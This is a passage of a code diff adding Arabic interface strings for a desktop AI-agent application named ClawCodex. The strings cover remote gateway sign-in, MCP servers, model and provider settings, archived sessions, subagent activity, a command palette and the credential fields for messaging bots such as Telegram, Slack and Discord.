+      envOverrideTitle: 'متغيرات البيئة تتحكم في جلسة سطح المكتب هذه.',
+      envOverrideDesc: 'أزل CLAWCODEX_DESKTOP_REMOTE_URL و CLAWCODEX_DESKTOP_REMOTE_TOKEN لاستخدام الإعداد المحفوظ أدناه.',
+      localTitle: 'بوابة محلية',
+      localDesc: 'تشغيل خلفية ClawCodex خاصة على localhost. هذا هو الافتراضي ويعمل دون اتصال.',
+      inheritTitle: 'استخدام البوابة الافتراضية',
+      inheritDesc: 'إزالة التجاوز الخاص بهذا الملف الشخصي واستخدام الاتصال الافتراضي.',
+      remoteTitle: 'بوابة بعيدة',
+      remoteDesc:
+        'صل واجهة سطح المكتب هذه بخلفية ClawCodex بعيدة. البوابات المستضافة تستخدم OAuth أو اسم مستخدم وكلمة مرور، والبوابات الذاتية قد تستخدم رمز جلسة.',
+      remoteUrlTitle: 'رابط البوابة البعيدة',
+      remoteUrlDesc: 'الرابط الأساسي لخلفية لوحة التحكم البعيدة. يمكن استخدام بادئات مسار مثل /clawcodex.',
+      probing: 'جار فحص طريقة مصادقة هذه البوابة...',
+      probeError: 'تعذر الوصول إلى هذه البوابة الآن. تحقق من الرابط وستظهر طريقة المصادقة عند الاستجابة.',
+      signedIn: 'تم تسجيل الدخول',
+      signIn: 'تسجيل الدخول',
+      signOut: 'تسجيل الخروج',
+      signInWith: provider => `تسجيل الدخول عبر ${provider}`,
+      authTitle: 'المصادقة',
+      authSignedInPassword: 'هذه البوابة تستخدم اسم مستخدم وكلمة مرور. أنت مسجل الدخول والجلسة تتجدد تلقائياً.',
+      authSignedInOauth: 'هذه البوابة تستخدم OAuth. أنت مسجل الدخول والجلسة تتجدد تلقائياً.',
+      authNeedsPassword: 'هذه البوابة تستخدم اسم مستخدم وكلمة مرور. سجل الدخول لتفويض تطبيق سطح المكتب.',
+      authNeedsOauth: provider => `هذه البوابة تستخدم OAuth. سجل الدخول عبر ${provider} لتفويض تطبيق سطح المكتب.`,
+      tokenTitle: 'رمز الجلسة',
+      tokenDesc: 'رمز جلسة لوحة التحكم المستخدم لطلبات REST و WebSocket. اتركه فارغاً للإبقاء على الرمز المحفوظ.',
+      existingToken: value => `رمز موجود ${value}`,
+      savedToken: 'محفوظ',
+      pasteSessionToken: 'ألصق رمز الجلسة',
+      testRemote: 'اختبار البعيد',
+      saveForRestart: 'حفظ للتشغيل القادم',
+      saveAndReconnect: 'حفظ وإعادة الاتصال',
+      diagnostics: 'التشخيصات',
+      diagnosticsDesc: 'اعرض desktop.log في مدير الملفات، وهذا مفيد عند فشل تشغيل البوابة.',
+      openLogs: 'فتح السجلات',
+      incompleteTitle: 'إعداد البوابة البعيدة غير مكتمل',
+      incompleteSignIn: 'أدخل رابط البوابة البعيدة وسجل الدخول قبل التبديل إلى البعيد.',
+      incompleteToken: 'أدخل رابط البوابة البعيدة ورمز الجلسة قبل التبديل إلى البعيد.',
+      incompleteSignInTest: 'أدخل رابط البوابة البعيدة وسجل الدخول قبل الاختبار.',
+      incompleteTokenTest: 'أدخل رابط البوابة البعيدة ورمز الجلسة قبل الاختبار.',
+      enterUrlFirst: 'أدخل رابط البوابة البعيدة أولاً.',
+      restartingTitle: 'جار إعادة تشغيل اتصال البوابة',
+      savedTitle: 'تم حفظ إعدادات البوابة',
+      restartingMessage: 'سيعيد ClawCodex Desktop الاتصال باستخدام الإعدادات المحفوظة.',
+      savedMessage: 'تم الحفظ للتشغيل القادم.',
+      connectedTo: (baseUrl, version) => `متصل بـ ${baseUrl}${version ? ` · ClawCodex ${version}` : ''}`,
+      reachableTitle: 'البوابة البعيدة قابلة للوصول',
+      signedOutTitle: 'تم تسجيل الخروج',
+      signedOutMessage: 'تم مسح جلسة البوابة البعيدة.',
+      failedLoad: 'فشل تحميل إعدادات البوابة',
+      signInFailed: 'فشل تسجيل الدخول',
+      signOutFailed: 'فشل تسجيل الخروج',
+      testFailed: 'فشل اختبار البوابة البعيدة',
+      applyFailed: 'تعذر تطبيق إعدادات البوابة',
+      saveFailed: 'تعذر حفظ إعدادات البوابة'
+    },
+    keys: {
+      loading: 'جار تحميل مفاتيح API وبيانات الاعتماد...',
+      failedLoad: 'فشل تحميل مفاتيح API',
+      empty: 'لا يوجد شيء مضبوط في هذه الفئة بعد.'
+    },
+    mcp: {
+      loading: 'جار تحميل خوادم MCP...',
+      failedLoad: 'فشل تحميل إعدادات MCP',
+      nameRequiredTitle: 'الاسم مطلوب',
+      nameRequiredMessage: 'أعط هذا الخادم مفتاح إعداد.',
+      objectRequired: 'يجب أن تكون إعدادات الخادم كائن JSON',
+      invalidJson: 'JSON الخاص بـ MCP غير صالح',
+      saveFailed: 'فشل الحفظ',
+      removeFailed: 'فشلت الإزالة',
+      gatewayUnavailableTitle: 'البوابة غير متاحة',
+      gatewayUnavailableMessage: 'أعد الاتصال بالبوابة قبل إعادة تحميل MCP.',
+      reloadedTitle: 'تمت إعادة تحميل أدوات MCP',
+      reloadedMessage: 'مخططات الأدوات الجديدة تطبق على الأدوار الجديدة.',
+      reloadFailed: 'فشلت إعادة تحميل MCP',
+      savedTitle: 'تم حفظ خادم MCP',
+      savedMessage: name => `سيطبق ${name} بعد إعادة تحميل MCP.`,
+      newServer: 'خادم جديد',
+      reload: 'إعادة تحميل MCP',
+      reloading: 'جار إعادة التحميل...',
+      emptyTitle: 'لا توجد خوادم MCP',
+      emptyDesc: 'أضف خادم stdio أو HTTP لإتاحة أدوات MCP.',
+      disabled: 'معطل',
+      editServer: 'تحرير الخادم',
+      name: 'الاسم',
+      serverJson: 'JSON الخادم',
+      remove: 'إزالة',
+      saveServer: 'حفظ الخادم'
+    },
+    model: {
+      loading: 'جار تحميل إعدادات النموذج...',
+      appliesDesc: 'ينطبق على الجلسات الجديدة. استخدم منتقي النموذج في صندوق الإنشاء لتبديل المحادثة النشطة فورا.',
+      provider: 'المزوّد',
+      model: 'النموذج',
+      applying: 'جار التطبيق...',
+      defaultsLabel: 'الافتراضيات',
+      reasoning: 'الاستدلال',
+      reasoningOff: 'إيقاف',
+      defaultsFailed: 'فشل حفظ افتراضيات النموذج',
+      auxiliaryTitle: 'النماذج المساعدة',
+      resetAllToMain: 'إعادة تعيين الكل إلى النموذج الرئيسي',
+      auxiliaryDesc: 'تعمل المهام المساعدة على النموذج الرئيسي افتراضيا. عيّن نموذجا مخصصا لأي مهمة لتجاوز ذلك.',
+      setToMain: 'ضبط على الرئيسي',
+      change: 'تغيير',
+      autoUseMain: 'تلقائي · استخدام النموذج الرئيسي',
+      providerDefault: '(افتراضي المزوّد)',
+      tasks: {
+        vision: {
+          label: 'الرؤية',
+          hint: 'تحليل الصور'
+        },
+        web_extract: {
+          label: 'استخراج الويب',
+          hint: 'تلخيص الصفحات'
+        },
+        compression: {
+          label: 'الضغط',
+          hint: 'ضغط السياق'
+        },
+        skills_hub: {
+          label: 'مركز المهارات',
+          hint: 'بحث المهارات'
+        },
+        approval: {
+          label: 'الموافقة',
+          hint: 'موافقة تلقائية ذكية'
+        },
+        mcp: {
+          label: 'MCP',
+          hint: 'توجيه أدوات MCP'
+        },
+        title_generation: {
+          label: 'توليد العناوين',
+          hint: 'عناوين الجلسات'
+        },
+        curator: {
+          label: 'المنسّق',
+          hint: 'مراجعة استخدام المهارات'
+        }
+      }
+    },
+    providers: {
+      connectAccount: 'ربط حساب',
+      haveApiKey: 'لديك مفتاح API بدلاً من ذلك؟',
+      intro: 'سجل الدخول باشتراكك دون نسخ مفتاح API. يشغّل ClawCodex تسجيل الدخول من المتصفح لك داخل التطبيق.',
+      connected: 'متصل',
+      collapse: 'طي',
+      connectAnother: 'ربط مزود آخر',
+      otherProviders: 'مزودون آخرون',
+      disconnect: 'قطع الاتصال',
+      disconnectInTerminal: 'قطع الاتصال (يشغّل أمر الإزالة في الطرفية)',
+      removeConfirm: provider => `إزالة ${provider}؟`,
+      removeExternalGeneric: provider => `${provider} يُدار عبر CLI خاص به — أزله من هناك.`,
+      removeKeyManaged: provider => `${provider} مُعدّ من مفتاح API. أزله من مفاتيح API.`,
+      removeTerminalConfirm: (provider, command) =>
+        `قطع اتصال ${provider}؟ هذا يشغّل "${command}" في الطرفية لمسح بيانات الاعتماد.`,
+      removeTerminalRunning: provider => `جار تشغيل قطع اتصال ${provider} في الطرفية…`,
+      removedTitle: 'تمت إزالة الحساب',
+      removedMessage: provider => `تمت إزالة ${provider}.`,
+      failedRemove: provider => `تعذّرت إزالة ${provider}`,
+      noProviderKeys: 'لا توجد مفاتيح API متاحة للمزودين.',
+      searchKeys: 'البحث عن مزوّدين...',
+      noKeysMatch: 'لا يوجد مزوّدون يطابقون بحثك.',
+      localEndpoint: {
+        title: 'نقطة نهاية محلية',
+        description: 'استخدم خادما محليا أو نقطة نهاية متوافقة مع OpenAI لهذا المزود.'
+      },
+      loading: 'جار تحميل المزودين...'
+    },
+    sessions: {
+      loading: 'جار تحميل الجلسات المؤرشفة...',
+      archivedTitle: 'الجلسات المؤرشفة',
+      archivedIntro:
+        'تُخفى المحادثات المؤرشفة من الشريط الجانبي مع الاحتفاظ بكل رسائلها. اضغط Ctrl/⌘ مع النقر على محادثة في الشريط الجانبي لأرشفتها.',
+      emptyArchivedTitle: 'لا توجد محادثات مؤرشفة',
+      emptyArchivedDesc: 'أرشف محادثة لإخفائها هنا.',
+      unarchive: 'إلغاء الأرشفة',
+      deletePermanently: 'حذف نهائي',
+      messages: count => `${count} ${count === 1 ? 'رسالة' : 'رسائل'}`,
+      restored: 'تمت الاستعادة',
+      deleteConfirm: title => `حذف "${title}" نهائياً؟ لا يمكن التراجع عن هذا.`,
+      defaultDirTitle: 'مجلد المشروع الافتراضي',
+      defaultDirDesc: 'تبدأ الجلسات الجديدة في هذا المجلد ما لم تختر غيره. اتركه غير مضبوط لاستخدام مجلدك الرئيسي.',
+      defaultDirUpdated: 'تم تحديث مجلد المشروع الافتراضي، ابدأ محادثة جديدة (Ctrl/⌘+N) ليطبق التغيير',
+      defaultsTo: label => `الافتراضي هو ${label}.`,
+      change: 'تغيير',
+      choose: 'اختيار',
+      clear: 'مسح',
+      notSet: 'غير مضبوط',
+      failedLoad: 'تعذر تحميل الجلسات المؤرشفة',
+      unarchiveFailed: 'فشل إلغاء الأرشفة',
+      deleteFailed: 'فشل الحذف',
+      updateDirFailed: 'تعذر تحديث المجلد الافتراضي',
+      clearDirFailed: 'تعذر مسح المجلد الافتراضي'
+    },
+    toolsets: {
+      loadingConfig: 'جار تحميل الإعدادات',
+      savedTitle: 'تم حفظ بيانات الاعتماد',
+      savedMessage: key => `تم تحديث ${key}.`,
+      removedTitle: 'تمت إزالة بيانات الاعتماد',
+      removedMessage: key => `تمت إزالة ${key}.`,
+      failedSave: key => `فشل حفظ ${key}`,
+      failedRemove: key => `فشل إزالة ${key}`,
+      failedReveal: key => `فشل إظهار ${key}`,
+      removeConfirm: key => `إزالة ${key} من .env؟`,
+      set: 'ضبط',
+      notSet: 'غير مضبوط',
+      selectedTitle: 'تم اختيار المزوّد',
+      selectedMessage: provider => `${provider} نشط الآن.`,
+      failedSelect: provider => `فشل اختيار ${provider}`,
+      failedLoad: 'فشل تحميل إعدادات الأدوات',
+      noProviderOptions: 'لا تحتوي مجموعة الأدوات هذه على خيارات مزوّد — فعّلها لتعمل مع إعدادك الحالي.',
+      noProviders: 'لا يوجد مزوّدون متاحون لمجموعة الأدوات هذه الآن.',
+      ready: 'جاهز',
+      nousIncluded: 'مُضمّن مع اشتراك Nous — سجّل الدخول إلى Nous Portal للتفعيل.',
+      noApiKeyRequired: 'لا يلزم مفتاح API.',
+      postSetupHint: step =>
+        `تحتاج هذه الخلفية إلى تثبيت لمرة واحدة (${step}). يعمل على هذا الجهاز — قد يستغرق بضع دقائق.`,
+      postSetupRun: 'تشغيل الإعداد',
+      postSetupRunning: 'جار التثبيت…',
+      postSetupStarting: 'جار البدء…',
+      postSetupCompleteTitle: 'اكتمل الإعداد',
+      postSetupCompleteMessage: step => `تم تثبيت ${step}.`,
+      postSetupErrorTitle: 'انتهى الإعداد بأخطاء',
+      postSetupErrorMessage: step => `تحقق من سجل ${step}.`,
+      postSetupFailed: step => `فشل تشغيل إعداد ${step}`
+    }
+  },
+  skills: {
+    tabSkills: 'المهارات',
+    tabToolsets: 'مجموعات الأدوات',
+    all: 'الكل',
+    searchSkills: 'البحث في المهارات',
+    searchToolsets: 'البحث في مجموعات الأدوات',
+    refresh: 'تحديث',
+    refreshing: 'جار التحديث...',
+    loading: 'جار التحميل...',
+    noSkillsTitle: 'لا توجد مهارات',
+    noSkillsDesc: 'ستظهر المهارات المثبتة هنا.',
+    noToolsetsTitle: 'لا توجد مجموعات أدوات',
+    noToolsetsDesc: 'ستظهر مجموعات الأدوات المتاحة هنا.',
+    noDescription: 'لا يوجد وصف',
+    configured: 'مضبوط',
+    needsKeys: 'يحتاج مفاتيح',
+    toolsetsEnabled: (enabled, total) => `${enabled} من ${total} مفعلة`,
+    configureToolset: label => `ضبط ${label}`,
+    toggleToolset: (label, enabled) => `${enabled ? 'تشغيل' : 'إيقاف'} ${label}`,
+    skillsLoadFailed: 'فشل تحميل المهارات',
+    toolsetsRefreshFailed: 'فشل تحديث مجموعات الأدوات',
+    skillEnabled: 'تم تفعيل المهارة',
+    skillDisabled: 'تم تعطيل المهارة',
+    toolsetEnabled: 'تم تفعيل مجموعة الأدوات',
+    toolsetDisabled: 'تم تعطيل مجموعة الأدوات',
+    appliesToNewSessions: name => `ينطبق على الجلسات الجديدة في ${name}`,
+    failedToUpdate: name => `فشل تحديث ${name}`
+  },
+  agents: {
+    close: 'إغلاق الوكلاء',
+    title: 'شجرة التوليد',
+    subtitle: 'نشاط الوكلاء الفرعيين المباشر للدور الحالي.',
+    emptyTitle: 'لا يوجد وكلاء فرعيون مباشرون',
+    emptyDesc: 'عندما يفوّض دور ما عملا، يبث الوكلاء الأبناء تقدّمهم هنا.',
+    running: 'قيد التشغيل',
+    failed: 'فشل',
+    done: 'تم',
+    streaming: 'جار البث',
+    files: 'الملفات',
+    moreFiles: count => `+${count} ملفات إضافية`,
+    delegation: index => `التفويض ${index}`,
+    workers: count => `${count} عامل`,
+    workersActive: count => `${count} نشط`,
+    agentsCount: count => `${count} ${count === 1 ? 'وكيل' : 'وكلاء'}`,
+    activeCount: count => `${count} نشط`,
+    failedCount: count => `${count} فشل`,
+    toolsCount: count => `${count} أداة`,
+    filesCount: count => `${count} ملف`,
+    updatedAgo: age => `تم التحديث ${age}`,
+    ageNow: 'الآن',
+    ageSeconds: seconds => `قبل ${seconds} ث`,
+    ageMinutes: minutes => `قبل ${minutes} د`,
+    ageHours: hours => `قبل ${hours} س`,
+    durationSeconds: seconds => `${seconds} ث`,
+    durationMinutes: (minutes, seconds) => `${minutes} د ${seconds} ث`,
+    tokens: value => `${value} رمز`
+  },
+  commandCenter: {
+    close: 'إغلاق',
+    paletteTitle: 'لوحة الأوامر',
+    back: 'رجوع',
+    searchPlaceholder: 'ابحث عن أمر أو إعداد...',
+    goTo: 'انتقال إلى',
+    goToSession: 'الانتقال إلى الجلسة',
+    branches: 'الفروع',
+    startInBranch: branch => `محادثة جديدة في ${branch}`,
+    commandCenter: 'مركز الأوامر',
+    appearance: 'المظهر',
+    settings: 'الإعدادات',
+    changeTheme: 'تغيير الثيم',
+    changeColorMode: 'تغيير نمط الألوان',
+    pets: {
+      title: 'الحيوانات الأليفة',
+      placeholder: 'البحث في الحيوانات الأليفة...',
+      loading: 'جار تحميل معرض petdex...',
+      error: 'تعذّر الوصول إلى معرض petdex.',
+      staleBackend: 'أعد تشغيل ClawCodex لاستخدام الحيوانات الأليفة — الخادم الخلفي أقدم من هذه الميزة.',
+      empty: 'لا توجد حيوانات أليفة مطابقة.',
+      turnOff: 'إيقاف التشغيل',
+      turnOn: 'تشغيل',
+      installed: 'مثبّت',
+      generatedTag: 'مُولّد',
+      adoptFailed: 'تعذّر تبنّي ذلك الحيوان الأليف.',
+      toggleFailed: enabled => `تعذّر ${enabled ? 'تشغيل' : 'إيقاف'} الحيوان الأليف.`,
+      noneAvailable: 'لا توجد حيوانات أليفة متاحة — اختر واحدا أدناه لتثبيته.'
+    },
+    generatePet: {
+      title: 'توليد حيوان أليف',
+      placeholder: 'صف حيوانا أليفا لتوليده...',
+      promptHint: 'اكتب وصفا، ثم اضغط Enter لرسم أربعة مظاهر.',
+      readyHint: 'اضغط Enter لرسم أربعة مظاهر من وصفك.',
+      generate: 'توليد',
+      generating: 'جار التوليد...',
+      retry: 'إعادة المحاولة',
+      hatch: 'تفقيس',
+      spawning: 'جار الإنشاء...',
+      hatching: 'جار تفقيس حيوانك الأليف...',
+      hatchingSub: 'جار بثّ الحياة فيه...',
+      hatched: 'تم التفقيس!',
+      hatchRow: (_state, done, total) => `جار رسم الإطار ${done} من ${total}...`,
+      hatchComposing: 'جار تجميع الأجزاء...',
+      hatchSaving: 'أوشكنا على الانتهاء...',
+      namePlaceholder: 'سمِّ حيوانك الأليف',
+      staleBackend: 'حدّث ClawCodex لتوليد الحيوانات الأليفة.',
+      backgroundHint: 'يمكنك إغلاق هذا — سيُعلِمك ClawCodex عند الانتهاء.',
+      slowProviderHint: 'قد يستغرق هذا عدة دقائق',
+      remix: 'إعادة مزج',
+      remixConfirmTitle: 'إعادة مزج هذا المظهر؟',
+      remixConfirmBody: 'يولّد هذا مجموعة جديدة من المسوّدات باستخدام هذا كنقطة بداية. قد يستغرق عدة دقائق.',
+      genericError: 'فشل التوليد — حاول مجددا أو اختر اقتراحا.',
+      referenceImageTooLarge: 'صورة المرجع كبيرة جدا. استخدم واحدة أقل من 16 MB.',
+      referenceImageInvalid: 'تعذّرت قراءة صورة المرجع تلك. جرّب PNG أو JPG أو WebP أو GIF.',
+      adopt: 'تبنّي',
+      startOver: 'البدء من جديد'
+    },
+    installTheme: {
+      title: 'تثبيت سمة...',
+      placeholder: 'البحث في VS Code Marketplace...',
+      loading: 'جار البحث في Marketplace...',
+      error: 'تعذّر الوصول إلى Marketplace.',
+      empty: 'لا توجد سمات مطابقة.',
+      install: 'تثبيت',
+      installing: 'جار التثبيت...',
+      installed: 'مثبّت',
+      installs: count => `${count} عملية تثبيت`
+    },
+    settingsFields: 'حقول الإعدادات',
+    mcpServers: 'خوادم MCP',
+    archivedChats: 'المحادثات المؤرشفة',
+    commands: 'الأوامر',
+    sections: {
+      sessions: 'الجلسات',
+      system: 'النظام',
+      usage: 'الاستخدام'
+    },
+    sectionDescriptions: {
+      sessions: 'البحث في الجلسات وإدارتها',
+      system: 'الحالة والسجلات وإجراءات النظام',
+      usage: 'نشاط الرموز والتكلفة والمهارات عبر الزمن'
+    },
+    nav: {
+      newChat: {
+        title: 'جلسة جديدة',
+        detail: 'بدء جلسة جديدة'
+      },
+      settings: {
+        title: 'الإعدادات',
+        detail: 'تكوين ClawCodex desktop'
+      },
+      skills: {
+        title: 'المهارات والأدوات',
+        detail: 'تفعيل المهارات ومجموعات الأدوات والمزوّدين'
+      },
+      messaging: {
+        title: 'المراسلة',
+        detail: 'إعداد Telegram وSlack وDiscord والمزيد'
+      },
+      artifacts: {
+        title: 'العناصر',
+        detail: 'استعراض المخرجات المولّدة'
+      }
+    },
+    sectionEntries: {
+      sessions: {
+        title: 'لوحة الجلسات',
+        detail: 'البحث في الجلسات وتثبيتها وإدارتها'
+      },
+      system: {
+        title: 'لوحة النظام',
+        detail: 'حالة البوابة والسجلات وإعادة التشغيل/التحديث'
+      },
+      usage: {
+        title: 'لوحة الاستخدام',
+        detail: 'نشاط الرموز والتكلفة والمهارات'
+      }
+    },
+    providerNavigate: 'فتح المزود',
+    providerSessions: 'جلسات المزود',
+    refresh: 'تحديث',
+    refreshing: 'جار التحديث...',
+    noResults: 'لا توجد نتائج',
+    pinSession: 'تثبيت الجلسة',
+    unpinSession: 'إلغاء تثبيت الجلسة',
+    exportSession: 'تصدير الجلسة',
+    deleteSession: 'حذف الجلسة',
+    noSessions: 'لا توجد جلسات',
+    gatewayRunning: 'البوابة تعمل',
+    gatewayStopped: 'البوابة متوقفة',
+    clawcodexActiveSessions: (version, count) => `ClawCodex ${version} لديه ${count} جلسة نشطة`,
+    restartGateway: 'إعادة تشغيل البوابة',
+    gatewayRestartFailed: 'فشل إعادة تشغيل البوابة.',
+    updateClawCodex: 'تحديث ClawCodex',
+    actionRunning: 'الإجراء قيد التشغيل',
+    actionDone: 'اكتمل الإجراء',
+    actionFailed: 'فشل الإجراء',
+    actionStartedWaiting: 'بدأ الإجراء، جار الانتظار...',
+    loadingStatus: 'جار تحميل الحالة',
+    recentLogs: 'السجلات الأخيرة',
+    noLogs: 'لا توجد سجلات',
+    days: count => `${count} يوم`,
+    statSessions: 'الجلسات',
+    statApiCalls: 'نداءات API',
+    statTokens: 'الرموز',
+    statCost: 'التكلفة',
+    actualCost: cost => `التكلفة الفعلية ${cost}`,
+    loadingUsage: 'جار تحميل الاستخدام',
+    noUsage: period => `لا يوجد استخدام خلال ${period} يوم`,
+    retry: 'إعادة المحاولة',
+    dailyTokens: 'الرموز اليومية',
+    input: 'إدخال',
+    output: 'إخراج',
+    noDailyActivity: 'لا يوجد نشاط يومي',
+    topModels: 'أكثر النماذج استخداما',
+    noModelUsage: 'لا يوجد استخدام نماذج',
+    topSkills: 'أكثر المهارات استخداما',
+    noSkillActivity: 'لا يوجد نشاط مهارات',
+    actions: count => `${count} إجراء`
+  },
+  messaging: {
+    search: 'بحث',
+    loading: 'جار التحميل...',
+    loadFailed: 'فشل التحميل',
+    states: {
+      connected: 'متصل',
+      connecting: 'جار الاتصال',
+      disabled: 'معطّل',
+      fatal: 'خطأ',
+      gateway_stopped: 'تم إيقاف بوابة المراسلة',
+      not_configured: 'يحتاج إعدادا',
+      pending_restart: 'يلزم إعادة التشغيل',
+      retrying: 'جار إعادة المحاولة',
+      startup_failed: 'فشل بدء التشغيل'
+    },
+    unknown: 'غير معروف',
+    hintPendingRestart: 'تحتاج إعادة تشغيل لتطبيق التغييرات.',
+    hintGatewayStopped: 'البوابة متوقفة.',
+    credentialsSet: 'بيانات الاعتماد مضبوطة',
+    needsSetup: 'يحتاج إعدادا',
+    gatewayStopped: 'البوابة متوقفة',
+    getCredentials: 'الحصول على بيانات الاعتماد',
+    openSetupGuide: 'فتح دليل الإعداد',
+    required: 'مطلوب',
+    recommended: 'موصى به',
+    advanced: count => `${count} إعدادات متقدمة`,
+    noTokenNeeded: 'لا يحتاج رمز',
+    enabled: 'مفعل',
+    disabled: 'معطل',
+    unsavedChanges: 'تغييرات غير محفوظة',
+    saving: 'جار الحفظ...',
+    saveChanges: 'حفظ التغييرات',
+    saved: 'تم الحفظ',
+    replaceValue: 'استبدال القيمة',
+    openDocs: 'فتح الوثائق',
+    clearField: key => `مسح ${key}`,
+    enableAria: name => `تفعيل ${name}`,
+    disableAria: name => `تعطيل ${name}`,
+    platformEnabled: name => `تم تفعيل ${name}`,
+    platformDisabled: name => `تم تعطيل ${name}`,
+    restartToApply: 'أعد التشغيل لتطبيق التغييرات.',
+    setupSaved: name => `تم حفظ إعداد ${name}`,
+    restartToReconnect: 'أعد التشغيل لإعادة الاتصال.',
+    keyCleared: key => `تم مسح ${key}`,
+    setupUpdated: name => `تم تحديث إعداد ${name}`,
+    failedUpdate: name => `فشل تحديث ${name}`,
+    failedSave: name => `فشل حفظ ${name}`,
+    failedClear: key => `فشل مسح ${key}`,
+    fieldCopy: {
+      TELEGRAM_BOT_TOKEN: {
+        label: 'رمز البوت (token)',
+        help: 'أنشئ بوتا عبر @BotFather، ثم الصق الرمز الذي يمنحك إياه.',
+        placeholder: 'الصق رمز بوت Telegram'
+      },
+      TELEGRAM_ALLOWED_USERS: {
+        label: 'معرّفات مستخدمي Telegram المسموح بهم',
+        help: 'موصى به. معرّفات رقمية مفصولة بفواصل من @userinfobot. بدون ذلك، يمكن لأي شخص مراسلة بوتك مباشرة.'
+      },
+      TELEGRAM_PROXY: {
+        label: 'رابط الـ Proxy',
+        help: 'مطلوب فقط على الشبكات التي يكون فيها Telegram محجوبا.'
+      },
+      DISCORD_BOT_TOKEN: {
+        label: 'رمز البوت (token)',
+        help: 'أنشئ تطبيقا في Discord Developer Portal، وأضف بوتا، ثم الصق رمزه.'
+      },
+      DISCORD_ALLOWED_USERS: {
+        label: 'معرّفات مستخدمي Discord المسموح بهم',
+        help: 'موصى به. معرّفات مستخدمي Discord مفصولة بفواصل.'
+      },
+      DISCORD_REPLY_TO_MODE: {
+        label: 'نمط الرد',
+        help: 'first أو all أو off.'
+      },
+      DISCORD_ALLOW_ALL_USERS: {
+        label: 'السماح لكل مستخدمي Discord',
+        help: 'للتطوير فقط. عند التفعيل، يمكن لأي شخص مراسلة البوت مباشرة دون قائمة سماح.'
+      },
+      DISCORD_HOME_CHANNEL: {
+        label: 'معرّف القناة الرئيسية',
+        help: 'القناة التي يرسل فيها البوت الرسائل الاستباقية (مخرجات cron، التذكيرات).'
+      },
+      DISCORD_HOME_CHANNEL_NAME: {
+        label: 'اسم القناة الرئيسية',
+        help: 'الاسم المعروض للقناة الرئيسية في السجلات ومخرجات الحالة.'
+      },
+      BLUEBUBBLES_ALLOW_ALL_USERS: {
+        label: 'السماح لكل مستخدمي iMessage',
+        help: 'عند التفعيل، يتم تخطي قائمة سماح BlueBubbles.'
+      },
+      MATTERMOST_ALLOW_ALL_USERS: {
+        label: 'السماح لكل مستخدمي Mattermost'
+      },
+      MATTERMOST_HOME_CHANNEL: {
+        label: 'القناة الرئيسية'
+      },
+      QQ_ALLOW_ALL_USERS: {
+        label: 'السماح لكل مستخدمي QQ'
+      },
+      QQBOT_HOME_CHANNEL: {
+        label: 'قناة QQ الرئيسية',
+        help: 'القناة أو المجموعة الافتراضية لتسليم cron.'
+      },
+      QQBOT_HOME_CHANNEL_NAME: {
+        label: 'اسم قناة QQ الرئيسية'
+      },
+      SLACK_BOT_TOKEN: {
+        label: 'رمز بوت Slack',
+        help: 'استخدم رمز البوت من OAuth & Permissions بعد تثبيت تطبيق Slack الخاص بك.',
+        placeholder: 'الصق رمز بوت Slack'
+      },
+      SLACK_APP_TOKEN: {
+        label: 'رمز تطبيق Slack',
+        help: 'استخدم الرمز على مستوى التطبيق المطلوب لـ Socket Mode.',
+        placeholder: 'الصق رمز تطبيق Slack'
+      },
+      SLACK_ALLOWED_USERS: {
+        label: 'معرّفات مستخدمي Slack المسموح بهم',
+        help: 'موصى به. معرّفات مستخدمي Slack مفصولة بفواصل.'
+      },
+      MATTERMOST_URL: {
+        label: 'رابط الخادم',
+        placeholder: 'https://mattermost.example.com'
+      },
+      MATTERMOST_TOKEN: {
+        label: 'رمز البوت (token)'
+      },
+      MATTERMOST_ALLOWED_USERS: {
+        label: 'معرّفات المستخدمين المسموح بهم',
+        help: 'موصى به. معرّفات مستخدمي Mattermost مفصولة بفواصل.'
+      },
+      MATRIX_HOMESERVER: {
+        label: 'رابط Homeserver',
+        placeholder: 'https://matrix.org'
+      },
+      MATRIX_ACCESS_TOKEN: {
+        label: 'رمز الوصول'
+      },
+      MATRIX_USER_ID: {
+        label: 'معرّف مستخدم البوت',
+        placeholder: '@clawcodex:example.org'
+      },
+      MATRIX_ALLOWED_USERS: {
+        label: 'معرّفات مستخدمي Matrix المسموح بهم',
+        help: 'موصى به. معرّفات مستخدمين مفصولة بفواصل بصيغة @user:server.'
+      },
+      SIGNAL_HTTP_URL: {
+        label: 'رابط جسر Signal',
+        placeholder: 'http://127.0.0.1:8080',
+        help: 'رابط جسر signal-cli REST قيد التشغيل.'
+      },
+      SIGNAL_ACCOUNT: {
+        label: 'رقم الهاتف',
+        help: 'الرقم المسجّل مع جسر signal-cli الخاص بك.'
+      },
+      SIGNAL_ALLOWED_USERS: {
+        label: 'مستخدمو Signal المسموح بهم',
+        help: 'موصى به. معرّفات Signal مفصولة بفواصل.'
+      },
+      WHATSAPP_ENABLED: {
+        label: 'تفعيل جسر WhatsApp',
+        help: 'يُضبط تلقائيا عبر المفتاح أدناه. اتركه دون تغيير ما لم تكن متأكدا من حاجتك إليه.'
+      },
+      WHATSAPP_MODE: {
+        label: 'وضع الجسر'
+      },
+      WHATSAPP_ALLOWED_USERS: {
+        label: 'مستخدمو WhatsApp المسموح بهم',
+        help: 'موصى به. أرقام هواتف أو معرّفات WhatsApp مفصولة بفواصل.'
+      }
+    },
+    platformIntro: {}
+  },
+  profiles: {
+    close: 'إغلاق',
+    nameHint: 'اسم الملف الشخصي',
+    title: 'الملفات الشخصية',
+    count: count => `${count} ملف شخصي`,
+    loading: 'جار التحميل...',
+    newProfile: 'ملف شخصي جديد',
+    importProfile: 'استيراد ملف شخصي…',
+    exportProfile: 'تصدير ملف شخصي…',
+    imported: 'تم استيراد الملف الشخصي',
+    exported: 'تم تصدير الملف الشخصي',
+    failedImport: 'فشل استيراد الملف الشخصي',
+    failedExport: 'فشل تصدير الملف الشخصي',
+    allProfiles: 'كل الملفات الشخصية',
+    showAllProfiles: 'إظهار كل الملفات الشخصية',
+    switchToProfile: name => `التبديل إلى ${name}`,
+    manageProfiles: 'إدارة الملفات الشخصية',
+    actions: 'إجراءات',
+    color: 'اللون',
+    colorFor: 'اللون',
+    setColor: color => `ضبط اللون ${color}`,
+    autoColor: 'لون تلقائي',
+    noProfiles: 'لا توجد ملفات شخصية',
+    selectPrompt: 'اختر ملفا شخصيا',
+    refresh: 'تحديث',
+    refreshing: 'جار التحديث...',
+    default: 'الافتراضي',
+    skills: count => `${count} مهارة`,
+    env: 'البيئة',
+    defaultBadge: 'افتراضي',
+    rename: 'إعادة تسمية',
+    copySetup: 'نسخ الإعداد',
+    copying: 'جار النسخ...',
+    modelLabel: 'النموذج',
+    skillsLabel: 'المهارات',
+    notSet: 'غير مضبوط',
